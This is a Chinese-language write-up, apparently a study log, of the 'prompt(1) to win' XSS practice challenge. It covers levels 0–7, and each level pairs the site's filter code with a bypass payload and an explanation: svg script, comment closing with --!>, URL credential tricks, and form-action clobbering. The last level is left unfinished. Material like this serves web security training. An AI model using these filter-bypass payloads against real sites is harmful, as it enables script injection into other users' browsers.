XSS练习-prompt(1) to win
第零关
Text Viewer
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}
Answer
对输入的文本没有进行过滤措施直接输出,可以闭合前面的 input 标签再构造 script 标签
"><script>prompt(1)</script>
第一关
Text Viewer
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '<article>' + input + '</article>';
}
Answer
利用正则表达式过滤了成对出现的尖括号,但浏览器会自动补全右尖括号,所以只要不输入右尖括号就能绕过过滤
- ?:表示匹配前面的子表达式(/)零次或一次
- [^>]:为负值字符集合,匹配未包含 > 的任意字符
- +:表示匹配前面的子表达式一次或多次
<img src=# onerror="prompt(1)"
第二关
Text Viewer
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
Answer
过滤了 = 和 ( ,利用 SVG 标签,该标签会将 XML 实体(转义序列)提前解析再加入标签,从而绕过过滤
<svg><script>prompt(1)</script>
页面遇到 javascript 代码时阻塞 html 的解析,先执行 js 代码(也就是上面的 escape function)。此时输入中的 xml 实体未被解析,从而绕过过滤,并将输入 return 到 html 文档中,继续解析 html。
当遇到 svg 标签,先将其标签的内容当成 xml 解析,此时解析输入中的实体。
当 html 再次进行解析时,会把已被解析的实体当成 html 代码执行。
也可以利用 JS 中的 eval 函数
<script>eval.call`${'prompt\x281)'}`</script>
第三关
Text View
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}
Answer
将输入转化成注释,并过滤了->
防止闭合注释。但使用--!>
也可以闭合注释,并且绕过过滤
--!><script>prompt(1)</script>
第四关
Text View
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
Answer
这题使用了 RegExp 对象的 test 方法过滤输入,可以利用decodeURIComponent()
这个函数可对encodeURIComponent()
函数编码的URI进行解码的特性,将 %2f 解码成为 /
payload 为//prompt.ml%2f@localhost/xss.js
,让 browser 把prompt.ml%2f
当作身份验证,然后访问localhost/xss.js
。(URL结构)
第五关
Text View
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return '<input value="' + input + '" type="text">';
}
Answer
过滤了>,on事件和focus事件
- |:或操作,字符具有高于替换运算符的优先级,使得"m|food"匹配"m"或"food"。若要匹配"mood"或"food",请使用括号创建子表达式,从而产生"(m|f)ood"
- .:匹配除换行符(\n、\r)之外的任何单个字符
- ?:该字符紧跟在任何一个其他限制符后面时,表示懒惰(非贪婪)匹配
在 html 中,属性描述不在同一行仍然可以生效。将 type 覆盖为 image ,用 onerror 事件(multi-line)触发XSS
" type="image" src=# onerror
=prompt(1)
第六关
Text View
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}
Answer
这段 Javascript 代码用用户的输入构造一个 form 表单,表单的输入(input)由 JSON 格式的数据解析得到,表单的网址(即 action 属性)由用户控制。但使用了 RegEsp 对象的 test 方法过滤了javascript:
、vbscript:
、data:
关键字,阻止伪协议执行脚本。
由于检查的对象是document.forms[0].action
,如果表单中有多个 action 值,前者会被后者覆盖。比如输入 payload:javascript:prompt(1)#{name="action":value="xss"}
,这时判断条件中的forms[0].action
指向的是 name 为 action 的<input>
标签,从而绕过过滤。
name 和 id 两个属性可以用来覆盖真正的标签成员,以此绕过过滤。
第七关
Text View
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}
Answer
map() 函数构造一个新的数组,其中的元素是调用数组(segments)的每个元素执行指定函数后返回的值。该段代码将用户输入分段以段落输出,每个分段不超过12个字符。
(To be continue...)